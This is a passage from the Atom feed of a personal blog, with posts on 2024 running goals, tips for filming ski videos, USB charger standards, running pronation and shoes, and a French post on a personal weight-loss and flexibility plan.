&lt;li&gt;🏃 Run 15k (I expect to do more every week, but I don't want to pressure myself with some high number)&lt;/li&gt;
&lt;li&gt;🦶 &lt;a href="https://romainpellerin.eu/plantar-fasciitis.html"&gt;Fascia stretching&lt;/a&gt; and &lt;a href="https://www.youtube.com/watch?v=jSO1-3Obt7Y"&gt;muscle strengthening&lt;/a&gt; twice&lt;/li&gt;
&lt;li&gt;🧘 Fingers to toes twice (flexibility)&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🏋️ Workout:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Abs twice&lt;/li&gt;
&lt;li&gt;Pecs once&lt;/li&gt;
&lt;li&gt;Biceps + triceps once&lt;/li&gt;
&lt;li&gt;Shoulders once&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🇩🇪 30 minutes of German everyday&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Last year, I wrote in &lt;a href="https://romainpellerin.eu/objectif-75-kg-et-toucher-le-sol.html"&gt;my August article&lt;/a&gt; about my daily routine. This thing never really worked for me. It stuck for a month or two and then I gradually gave up, it was too demanding, 20+ minutes per day, on top of everything else. So this year I'm ditching it. Instead, I'll focus on fixing up my fascia and strengthening my muscles. I'll try to keep working on my flexibility though, but I don't want nor need it to be a goal.&lt;/p&gt;
&lt;h1 id="running-milestones-for-2024"&gt;Running milestones for 2024&lt;/h1&gt;
&lt;p&gt;This year, I'll be taking part in multiple competitions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A half-marathon&lt;/li&gt;
&lt;li&gt;The &lt;a href="https://berliner-firmenlauf.de/"&gt;Berliner Firmenlauf&lt;/a&gt;: 5.5kms&lt;/li&gt;
&lt;li&gt;The &lt;a href="https://berlin-laeuft.de/s25berlin/"&gt;25 kilometers of Berlin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;A small triathlon, where the running part is only 5km-long&lt;/li&gt;
&lt;li&gt;And finally, to wrap up the year, a full marathon!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Having these regular milestones should make this goal a little more achievable and less frightening.&lt;/p&gt;
&lt;p&gt;I'll try and keep this article updated as I make progress towards these goals. :) Bis nächtes Mal!&lt;/p&gt;
&lt;p&gt;PS: I'll try to write auf Deutsch from now on too, from time to time. Emphasize on &lt;strong&gt;try&lt;/strong&gt; :D&lt;/p&gt;</content><category term="About me"></category><category term="goals"></category><category term="running"></category><category term="bike"></category></entry><entry><title>The Ultimate Sports Video</title><link href="https://romainpellerin.eu/the-ultimate-sports-video.html" rel="alternate"></link><published>2024-02-14T23:30:00+01:00</published><updated>2024-08-04T00:01:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-02-14:/the-ultimate-sports-video.html</id><summary type="html">&lt;p&gt;My tips to make the best sports video&lt;/p&gt;</summary><content type="html">&lt;p&gt;I'm on a mission. A quest. A quest to make great sports videos.&lt;/p&gt;
&lt;p&gt;I watch Youtube a lot. Too much. Loads of ski and bike videos. And very often, I stumble upon videos which leave me speechless. Well edited, nice shots, action-oriented, upbeat music, you name it.&lt;/p&gt;
&lt;p&gt;Recently, it was these three:&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/IgXoOQlyiso?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/A3WtqSJ1ww0?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/qgMqrFiPI_g?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;So I thought I'd just start collecting ideas about what makes a great video great!&lt;/p&gt;
&lt;h1 id="ski-videos"&gt;Ski videos&lt;/h1&gt;
&lt;p&gt;Here my conclusion is that it all depends on the music. I would recommend to pick the music before starting any editing. I find songs of alternating fast phases and slow phases the best, as you can sort of tell a story. When the rythm is fast and energetic, you can cram in as much action as you want. When it's more relaxed, it's easy to switch to contemplative scenes, landscapes, etc. Here is &lt;a href="https://www.youtube.com/@AlexGrohlMusic"&gt;a music creator on Youtube&lt;/a&gt;, who makes great background music for sports-oriented videos. &lt;a href="https://www.youtube.com/@EuphoriaAudioMusic"&gt;Here's another channel&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Regarding the shots now.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Avoid shooting in shadow, prefer under sunrays. Likewise, avoid cloudy weather. Foggy weather on the flip side can be nice for a change, for one or two scenes.&lt;/li&gt;
&lt;li&gt;Target people, ideally one person, instead of a group, when skiing. A group is fine on a chairlift, or when everyone has come to a stop.&lt;/li&gt;
&lt;li&gt;Avoid filming people's back. Prefer skiiing by their side (close to them, or at a distance), or ahead of them. It's better to see people's faces.&lt;/li&gt;
&lt;li&gt;Most of the time, film people closely. I find shots where the suject is getting closer and then farther away pretty cool, when there's movement. Likewise, overtaking someone at high speed (or being overtaken) makes really nice shots. But if you're to maintain the same distance, remain close as much as possible.&lt;/li&gt;
&lt;li&gt;Fast-paced skiing scenes are better than slow ones :) except if the subject ends up falling 😁&lt;/li&gt;
&lt;li&gt;Don't forget to record landscapes, mountains, sunsets, etc. Film while being on a chairlift. These scenes are nice for moments when the music slows down.&lt;/li&gt;
&lt;li&gt;Shoot when the sun is out and at sunset/sunrise, when it's very low in the sky. Alternating between different times of the day helps tell a story in a video. For instance, sunsets are nice to end a video.&lt;/li&gt;
&lt;li&gt;Record at 50FPS at times, when the scene has potential to be slowed down. When editing the video, consider speeding up some landscape shots too (or shots of crowds, cities, etc).&lt;/li&gt;
&lt;li&gt;Carving shots make an impression! For these shots, it's fine to film a subject from behind.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="cycling-videos"&gt;Cycling videos&lt;/h1&gt;
&lt;p&gt;So far, I have not given these types of videos much thought. I'll make sure to come back here and update this article when I do so.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Oh and by the way... Here's my latest attempt at making a cool video 😎:&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/N0WoxVaDKcQ?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;</content><category term="Sports"></category><category term="ski"></category><category term="bike"></category><category term="video"></category></entry><entry><title>Life Hacks: a collection of links</title><link href="https://romainpellerin.eu/life-hacks-a-collection-of-links.html" rel="alternate"></link><published>2023-12-20T15:46:00+01:00</published><updated>2024-06-07T02:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2023-12-20:/life-hacks-a-collection-of-links.html</id><summary type="html">&lt;p&gt;Some links on life hacks&lt;/p&gt;</summary><content type="html">&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/posts/colby-kultgen_7-things-you-wont-give-a-fck-about-in-5-activity-7097185302728888321-ZVPV"&gt;7 things you won't give a f*ck about in 5 years&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/posts/colby-kultgen_avoid-these-time-traps-at-all-costs-activity-7100809297214799874-e_K3"&gt;Avoid these time traps at all costs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="life"></category><category term="hacks"></category></entry><entry><title>Chargers</title><link href="https://romainpellerin.eu/chargers.html" rel="alternate"></link><published>2023-11-17T20:00:00+01:00</published><updated>2024-02-04T13:07:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2023-11-17:/chargers.html</id><summary type="html">&lt;p&gt;Everything you ever wanted to know about chargers&lt;/p&gt;</summary><content type="html">&lt;p&gt;The year is 2023 and chargers have gotten incredibly complex and powerful. As I was browsing the web, trying to get my hands on a good one that would allow me to charge any device, I though it deserved an article and some explanations.&lt;/p&gt;
&lt;h1 id="usb-1x-usb-2x-usb-3x-usb4"&gt;USB 1.x, USB 2.x, USB 3.x, USB4&lt;/h1&gt;
&lt;p&gt;From &lt;a href="https://en.wikipedia.org/wiki/USB"&gt;Wikipedia&lt;/a&gt;, these are specifications of "an industry standard that allows data exchange and delivery of power between many various types of electronics".&lt;/p&gt;
&lt;p&gt;USB 3 is notoriously known for its blue port. "USB4 mandates the exclusive use of the Type-C connector and USB Power Delivery (USB-PD) specification", says &lt;a href="https://en.wikipedia.org/wiki/USB4"&gt;Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="usb-c-1-usb-c-2"&gt;USB-C 1 &amp;amp; USB-C 2&lt;/h1&gt;
&lt;p&gt;Two different revisions of the "new" USB-C connector. The revision 2 comes with newer capabilities (for instance enhanced power delivery). &lt;a href="https://en.wikipedia.org/wiki/USB-C#USB_Type-C_cable_and_connector_specifications"&gt;See Wikipedia&lt;/a&gt; for more information.&lt;/p&gt;
&lt;h1 id="pd-power-delivery"&gt;PD (Power Delivery)&lt;/h1&gt;
&lt;p&gt;The &lt;a href="https://www.usb.org/usb-charger-pd"&gt;official page&lt;/a&gt; says it best:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;USB has evolved from a data interface capable of supplying limited power to a primary provider of power with a data interface. Today many devices charge or get their power from USB. USB has become a ubiquitous power socket for many small devices such as cell phones, tablets, portable speakers and other hand-held devices. Users need USB to fulfil their requirements not only in terms of data but also to provide power to, or charge, their devices simply, often without the need to load a driver, in order to carry out “traditional” USB functions.&lt;/p&gt;
&lt;p&gt;The USB Power Delivery (USB PD) Specification enables the maximum functionality of USB by providing more flexible power delivery along with data over a single cable. Its aim is to operate with and build on the existing USB ecosystem.&lt;/p&gt;
&lt;p&gt;Announced in 2021, the USB PD Revision 3.1 specification is a major update to enable delivering up to 240W of power over full featured USB Type-C® cable and connector. Prior to this update, USB PD was limited to 100W using a solution based on 20V using USB Type-C cables rated at 5A. The USB Type-C specification has also been updated to Release 2.1 to define 240W cable requirements, and with the updated USB PD protocol and power supply definition, this extends the applicability of USB power delivery to a large number of applications where 100W wasn't adequate.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In other words, it's a capability to deliver more power through USB, so as to charge devices.&lt;/p&gt;
&lt;h1 id="pps-programmable-power-supply"&gt;PPS (Programmable Power Supply)&lt;/h1&gt;
&lt;p&gt;From &lt;a href="https://en.wikipedia.org/wiki/USB_hardware#USB_Power_Delivery"&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The USB Power Delivery specification revision 3.0 defines an optional Programmable Power Supply (PPS) protocol that allows granular control over VBUS power, allowing a range of 3.3 to 21 V in 20 mV steps to facilitate constant-current or constant-voltage charging.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id="iq3-poweriq-30-piq-30-or-version-4"&gt;iQ3 / PowerIQ 3.0 / PIQ 3.0 (or version 4...)&lt;/h1&gt;
&lt;p&gt;From &lt;a href="https://www.reddit.com/r/anker/comments/c16oci/power_iq30_vs_pd/"&gt;Reddit&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PowerIQ 3.0 is Anker's version of Quick Charge 4+&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Also from &lt;a href="https://www.reddit.com/r/anker/comments/wk8r7k/anker_power_iq_40_means_usb_pd_31_with_pps/"&gt;another Reddit page&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Power IQ 4.0 means that the device supports USB power delivery 3.1 and all Power IQ 4.0 devices include PPS.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id="quick-charge-qc"&gt;Quick Charge (QC)&lt;/h1&gt;
&lt;p&gt;From &lt;a href="https://en.wikipedia.org/wiki/Quick_Charge"&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Quick Charge (QC) is a proprietary battery charging protocol developed by Qualcomm, used for managing power delivered over USB, mainly by communicating to the power supply and negotiating a voltage. Quick Charge is supported by devices such as mobile phones which run on Qualcomm SoCs, and by some chargers; both device and charger must support QC, otherwise QC charging is not attained.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id="gan-gan-2-ganprime"&gt;GaN, GaN 2, GaNPrime&lt;/h1&gt;
&lt;p&gt;Different generations of Gallium Nitride chargers from Anker, from oldest to newest. Those chargers are generally smaller and cooler (less heat) than other non-GaN chargers. More info on &lt;a href="https://www.reddit.com/r/UsbCHardware/comments/134k7b7/what_is_the_difference_of_gan_charger_generations/"&gt;Reddit&lt;/a&gt;. Other brands manufacture GaN chargers, not just Anker.&lt;/p&gt;
&lt;h1 id="what-do-buy"&gt;What do buy&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://amzn.eu/d/78cPjLm"&gt;Anker USB C Charger (Nano II 65W) USB-C 65W Pod 3-Port PPS Fast Charger, Compact USB-C Power Supply&lt;/a&gt; seems to be a good option, price-wise and feature-wise.&lt;/p&gt;
&lt;p&gt;For some extra euros, one can get PowerIQ 4: &lt;a href="https://amzn.eu/d/hWFc1K2"&gt;Anker USB C Charger, 735 (GaNPrime 65W) Fast and Compact 3-Port&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ugreen is another great brand I would have considered.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;That's it!&lt;/p&gt;</content><category term="Computers"></category><category term="charger"></category><category term="computer"></category><category term="laptop"></category><category term="smartphone"></category><category term="android"></category></entry><entry><title>Running and Pronation</title><link href="https://romainpellerin.eu/running-and-pronation.html" rel="alternate"></link><published>2023-10-01T02:00:00+02:00</published><updated>2024-05-10T19:28:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2023-10-01:/running-and-pronation.html</id><summary type="html">&lt;p&gt;Find out about your pronation and get the right shoes&lt;/p&gt;</summary><content type="html">&lt;p&gt;So I've been a """runner""" for quite some time now and I'm just discovering what pronation is. Apparently most people are pronated, some are supinated, and very few are normal (or neutral). I fall in the first category/neutral, based on the study of the wear of my shoes.&lt;/p&gt;
&lt;p&gt;Being pronated means that, while standing (not moving), one's foot naturally leans inward (towards the other leg). Being supinated is the opposite, one's foot leans outward.&lt;/p&gt;
&lt;p&gt;This also means that pronated runners tend to have the outmost part of their feet land slightly first when running, then feet roll progressively towards the inside (towards the other leg) until the full body weight is on one foot.&lt;/p&gt;
&lt;p&gt;Here are two videos to help you figure out which category you fall in:&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/1eBUsNk1ya4" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/UPlss00XR-8" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;These days I'm looking into buying a new pair of shoes. Apparently, Asics' Gel-Kayano model is a popular one among pronated runners, supposedly their top pair of shoes. I'll update this article with some feedback about them if I end up buying them...&lt;/p&gt;
&lt;p&gt;Finally, here are videos on how to properly run:&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/7L-OC7zOn_Q" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/9wWDA1qn50w" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h1 id="2024-03-30-update-on-the-shoes-i-bought"&gt;2024-03-30: Update on the shoes I bought&lt;/h1&gt;
&lt;p&gt;So I bought the Asics Gel Kayano 30, and I've got to say I'm very satisfied with them (more than 200 kms so far).&lt;/p&gt;
&lt;h1 id="2024-03-30-update-on-shoes-ill-be-considering-in-the-future-for-race-days"&gt;2024-03-30: Update on shoes I'll be considering in the future, for race days&lt;/h1&gt;
&lt;p&gt;Tip for myself: always get a half size to full size up pair of shoes, as feet expand while running.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Saucony endorphin pro 3: it's got a carbon plate. Good for race days. &lt;a href="https://www.youtube.com/watch?v=NDstCaUmOZ4"&gt;Here's a good review.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Saucony endorphin speed 3. &lt;a href="https://www.reddit.com/r/RunningShoeGeeks/comments/15y5uuy/endorphin_speed_3_vs_endorphin_pro_3/"&gt;Apparently they're considerably not as good as the pro 3 for racing&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=P4k5gsbw7hE"&gt;Asics Metaspeed Sky Paris&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Asics Metaspeed Sky+: it also has a carbon plate. For race days. Here's a &lt;a href="https://www.reddit.com/r/RunningShoeGeeks/comments/ucpefv/can_someone_break_down_the_asics_speed_line/"&gt;breakdown on Asics Speed Line.&lt;/a&gt;. Asics says the Sky+ are for stride runners, while the Metaspeed Edge+ are for cadence runners (runners who mostly increase speed by increasing their cadence, as opposed to their stride length). &lt;a href="https://www.reddit.com/r/RunningShoeGeeks/comments/12xzbdo/metaspeed_sky_or_meta_speed_sky/"&gt;There's also some differences with the regular Metaspeed Sky (not +)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Asics Magic Speed 3: carbon plate too. People say &lt;a href="https://www.reddit.com/r/RunningShoeGeeks/comments/1adrkuz/asics_magic_speed_3_appreciation_thread/"&gt;it lacks superfoam&lt;/a&gt;, that's why it is not a very popular racing pair of shoes. Comments often say the Metaspeed Sky+ is like the magic speed 3 on steroids.&lt;/li&gt;
&lt;li&gt;Asics SuperBlast: &lt;a href="https://www.reddit.com/r/RunningShoeGeeks/comments/16psfgl/asics_superblast_vs_metaspeed_sky/"&gt;reportedly not as fast as the Metaspeed, and meant for long distances or daily runs while the Metaspeed are meant for racing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;I should also probably consider a non-stability pair of shoes for training, like the Asics Nimbus 30, which are their top neutral shoes, while the Kayano are their top stability shoes. Having a rotation of shoes is healthier, supposedly.&lt;/li&gt;
&lt;li&gt;Nike Air Zoom Alphafly NEXT%: apparently the best racing shoe made by Nike. Kelvin Kiptum broke the official marathon world record in 2023 wearing the Alphafly 3.&lt;/li&gt;
&lt;li&gt;Nike ZoomX Vaporfly NEXT%: their second best racing shoe.&lt;/li&gt;
&lt;li&gt;Nike Air Zoom Tempo NEXT%: their best training shoe.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Running"></category><category term="running"></category><category term="pronation"></category></entry><entry><title>Objectif 75 kg et toucher le sol</title><link href="https://romainpellerin.eu/objectif-75-kg-et-toucher-le-sol.html" rel="alternate"></link><published>2023-08-27T18:00:00+02:00</published><updated>2024-08-23T14:16:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2023-08-27:/objectif-75-kg-et-toucher-le-sol.html</id><summary type="html">&lt;p&gt;Nouveaux objectifs pour cette fin d'année 2023&lt;/p&gt;</summary><content type="html">&lt;p&gt;Les choses sont dites : voilà mes 2 objectifs fixés pour cette fin d'année 2023. 4 mois pour les atteindre. De nombreuses heures passées sur Youtube. Cet article en est une synthèse.&lt;/p&gt;
&lt;p&gt;Je pèse actuellement un peu moins de 80 kg (j'étais à 80 il y a quelques semaines) pour 1m87 et j'ai donc pour objectif d'atteindre 75 kg de manière stable d'ici à la fin de l'année. De manière stable, c'est-à-dire idéalement dès fin Octobre, et être capable de conserver ce poids pendant les mois de Novembre et Décember sans trop d'efforts ni faire attention à ce que je mange. Pourquoi ? Pour m'améliorer à la course à pied mais surtout au vélo, et particulièrement en montagne. Aussi pour essayer de redessiner un peu ce qu'il y a devant mes abdos, mais ça c'est du bonus !&lt;/p&gt;
&lt;p&gt;Concernant ma flexibilité, mon focus sera porté sur mes jambes et notamment ma partie postérieure. Mon exercice de réference sera celui où l'on se penche en avant, en étant debout sur ses jambes tendues, en essayant de toucher le sol avec ses mains. Je pars de loin, très loin : aujourd'hui j'arrive à descendre mes mains à 22cm du sol maximum, pas plus bas. Le but est donc d'atteindre zéro d'ici à la fin de l'année. Pas forcément les mains à plat au sol, mais au moins toucher le sol du bout des doigts. Pourquoi ? Pareil, pour les performances sportives, parait-il que cela aide. Mais aussi car je me suis rendu compte que j'étais raide comme un piquet. 😁&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/flexibility.jpg" alt="Quelqu'un qui se penche vers l'avant" /&gt;
&lt;figcaption&gt;Mon objectif n'est pas mettre les mains au sol, juste toucher du bout des doigts&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="comment"&gt;Comment&lt;/h1&gt;
&lt;h2 id="pour-le-poids"&gt;Pour le poids&lt;/h2&gt;
&lt;p&gt;Sur le papier c'est plutôt simple, rééquilibrage alimentaire (adieu les chips et le pesto 3 fois par semaine), réduire un peu les quantités (pour atteindre un léger déficit calorique de 25% maximum), et augmenter légèrement le dose de sport hebdomadaire.&lt;/p&gt;
&lt;h3 id="alimentation"&gt;Alimentation&lt;/h3&gt;
&lt;p&gt;Rééquilibrer son alimentation passe par comprendre et connaitre ce que l'on mange. Pour la plupart des produits autres que fruits et légumes que l'on mange, il est écrit au dos la quantité de kilocalories et macro-nutriments (protéines/glucides/lipides). Pour perdre du poids, tout en évitant de perdre trop de masse musculaire (&lt;a href="https://www.valdemarne.fr/newsletters/sport-sante-et-preparation-physique/est-il-possible-de-perdre-du-poids-en-conservant-sa-masse-musculaire"&gt;les muscles sont des réserves d'énergie utilisées par le corps en priorité lorsque de l'on est en déficit calorique, avant d'aller chercher dans le gras&lt;/a&gt;), il est important d'augmenter son apport en protéines, et de réduire son apport en lipides au minimum vital (j'ai lu quelque part 0.8g par kilo de masse sèche par jour - quelqu'un pesant 80kg et ayant 20% de graisse, donc 64 kg sec, devra manger 64 kg * 0.8 = 51g de lipides par jour). Un bon objectif d'apport en protéines par jour peut être 1.8g/kg de masse sèche (115g par jour pour une personne de 80kg avec 20% de graisse). À savoir que l'&lt;a href="https://www.anses.fr/fr/content/les-prot%C3%A9ines"&gt;apport de base recommandé en France pour une personne est de 0.83g/kg&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Deux vidéos Youtube en particulier m'ont beaucoup aidé sur le sujet :&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/XpXr87nGIpg?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/_b351LPn9XU?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;La deuxième vidéo m'a permis de calculer ma consommation calorique quotidienne approximative (en prenant en compte le sport) et donc d'en déduire quels grammages viser pour chaque macro-nutriment, pour ce rééquilibrage alimentaire et ce déficit calorique d'environ 25%.&lt;/p&gt;
&lt;p&gt;Sur une base de 0.8g de lipides/kg sec et par jour, et 1.8g de protéines/kg sec et par jour, voici ce que je vise:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Macronutriments&lt;/th&gt;
&lt;th&gt;g&lt;/th&gt;
&lt;th&gt;kcal&lt;/th&gt;
&lt;th&gt;% total&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Protéines&lt;/td&gt;
&lt;td&gt;115&lt;/td&gt;
&lt;td&gt;461&lt;/td&gt;
&lt;td&gt;26%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Glucides&lt;/td&gt;
&lt;td&gt;207&lt;/td&gt;
&lt;td&gt;828&lt;/td&gt;
&lt;td&gt;47%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lipides&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;461&lt;/td&gt;
&lt;td&gt;26%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Total&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;1750&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;(et c'est là que je me rend compte que je mangeais de base vraiment pas assez de protéines)&lt;/p&gt;
&lt;p&gt;Ensuite c'est simple, il suffit de peser, noter et compter tout ce que l'on mange, en partant de l'étiquette du produit que l'on mange, ou si l'information est manquante en allant voir sur &lt;a href="https://www.les-calories.com/"&gt;les-calories.com&lt;/a&gt;. Voilà par exemple mon dernier repas :&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/kcal.png" alt="Tableau des valeurs nutritionelles de mon dernier repas" /&gt;
&lt;figcaption&gt;Pas mal équilibré non ?&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Ici par exemple, sur l'étiquette du Quinoa il était noté que 100g contenait 351 kcal, 14.8g de protéines, 58.5g de glucides, et 5g de lipides.&lt;/p&gt;
&lt;p&gt;Pour finir, il est important de noter qu'en étant &lt;a href="https://romainpellerin.eu/cycling-and-being-vegetarian.html"&gt;végétarien&lt;/a&gt; il peut être difficile de réussir à ingérer autant de protéines par jour. Une manière simple et efficace pour y remédier pourra être d'utiliser des compléments alimentaires, comme la Whey, bien connue des adeptes de la musculation, trouvable dans n'importe quel Décathlon, solution pour laquelle j'ai optée.&lt;/p&gt;
&lt;p&gt;Puisque je vais augmenter mon apport en protéines, autant favoriser leur assimilation. Apporter trop de protéines d'un coup dans un repas ne sera pas bénéfique car le corps ne pourra pas tout utiliser. Il est intéressant donc de rajouter une ou deux collations par jour, 30 à 60 minutes avant le déjeuner et le diner. Si ça tombe sur une journée avec séance de musculation, la collation se fera juste après la séance. Associer à 30g de Whey un fruit, pour éviter que les protéines ne soient transformées en sucres (comme expliqué dans &lt;a href="https://www.youtube.com/watch?v=wq_qdRA0C9Q"&gt;cette vidéo&lt;/a&gt; à 7'26).&lt;/p&gt;
&lt;p&gt;Voilà d'autres vidéos sur le sujet, tout aussi intéressantes :&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/wq_qdRA0C9Q?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/M4K0s792wAU?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/d8V9ZaSq9Oc?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/qyqJpQU8f-Y?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h3 id="sport"&gt;Sport&lt;/h3&gt;
&lt;p&gt;Pour le sport, pas dur, je faisais déjà du sport intensif en moyenne 2 à 3 fois par semaine (vélo de route + course à pied), sans compter les trajets quotidiens à vélo en ville ni mes marches à pied de 30 min quasi-quotidiennes. J'ai simplement décidé de rajouter une ou deux activités supplémentaires par semaine : soit &lt;a href="https://romainpellerin.eu/workout.html"&gt;une séance de musculation&lt;/a&gt; (30min max) du haut du corps (bras ou perctoraux, là où ça ne risque pas de nuire à ma recherche de souplesse donc), soit une session de yoga ou de mobilité/étirements. J'ai aussi rendu ma marche quotidienne non optionnelle. Ça devrait suffire...&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Enfin, pour suivre l'évolution de mon poids, nouvelle habitude, une pesée chaque matin après un passage aux toilettes mais avant de se réhydrater, pour avoir des conditions le plus similaires possible chaque jour.&lt;/p&gt;
&lt;h2 id="pour-la-flexibilite"&gt;Pour la flexibilité&lt;/h2&gt;
&lt;p&gt;Pour ce second objectif, vu que je pars de loin, je m'attends à voir des résultats assez rapidement, avant que ma progression ne commence à ralentir. Pour travailler ma flexibilité, je vais donc miser sur :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;une session une fois par semaine de yoga (au moins 30 minutes), remplaçable par une session de mobilité et étirements&lt;/li&gt;
&lt;li&gt;une routine quotidienne de moins de 20 minutes de mobilité et étirements&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bon à savoir : lorsqu'on s'étire, il ne faut jamais atteindre la douleur, au risque de se blesser, seulement atteindre une sensation d'incomfort. &lt;a href="https://www.youtube.com/watch?v=dNCyC4gV_34"&gt;L'idéal est de ne pas faire durer chaque répétition plus de 30 secondes. 2, 3 ou 4 répétitions par exercice par séance d'étirement donne de bons résultats. Il faut aussi faire un mélange d'exercices statiques (sans mouvement) + passifs (sans contraction musculaire) et d'exercices dynamiques (avec mouvement) + actifs (muscle opposés solicités pour étirer).&lt;/a&gt;&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://pilates.com.sg/wp-content/uploads/2018/04/5se_artL_active-vs-passive-stretching.jpg" alt="Image montrant les différences entre statique, passif, dynamique et actif" /&gt;
&lt;figcaption&gt;Différences entre statique, passif, dynamique et actif&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Pour ma routine quotidienne donc, pareil, beaucoup d'heures passées sur Youtube. La conclusion de ces recherches est la suivante :&lt;/p&gt;
&lt;ol&gt;
